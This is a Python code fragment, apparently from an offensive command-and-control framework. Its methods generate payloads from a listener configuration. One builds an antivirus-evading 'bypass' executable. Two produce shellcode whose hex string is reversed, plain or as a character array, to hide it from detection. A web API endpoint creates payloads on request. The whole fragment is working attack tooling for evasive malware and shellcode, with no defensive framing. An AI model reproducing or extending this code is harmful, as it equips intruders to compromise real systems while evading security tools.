def generate_exe(self): """通过监听配置生成exe""" handler_config = self.param(HANDLER_OPTION.get('name')) if handler_config is None: return None shellcode = Payload.generate_bypass_exe( mname=handler_config.get("PAYLOAD"), opts=handler_config) return shellcode
def generate_hex_reverse_shellcode_by_handler(self): """通过监听配置生成shellcode""" handler_config = self.param(HANDLER_OPTION.get('name')) if handler_config is None: return None shellcode = Payload.generate_shellcode( mname=handler_config.get("PAYLOAD"), opts=handler_config) reverse_hex_str = shellcode.hex()[::-1] return reverse_hex_str
def generate_hex_reverse_shellcode_array_by_handler(self): """通过监听配置生成shellcode""" handler_config = self.param(HANDLER_OPTION.get('name')) if handler_config is None: return None shellcode = Payload.generate_shellcode( mname=handler_config.get("PAYLOAD"), opts=handler_config) reverse_hex_str = shellcode.hex()[::-1] tmp = [] for a in reverse_hex_str: tmp.append(f"'{a}'") reverse_hex_str_array = ",".join(tmp) return reverse_hex_str_array
def create(self, request, **kwargs): try: mname = str(request.data.get('mname', None)) opts = request.data.get('opts', None) if isinstance(opts, str): opts = json.loads(opts) response = Payload.create(mname, opts) if isinstance(response, dict): return Response(response) else: return response except Exception as E: logger.error(E) context = data_return(500, CODE_MSG.get(500), {}) return Response(context)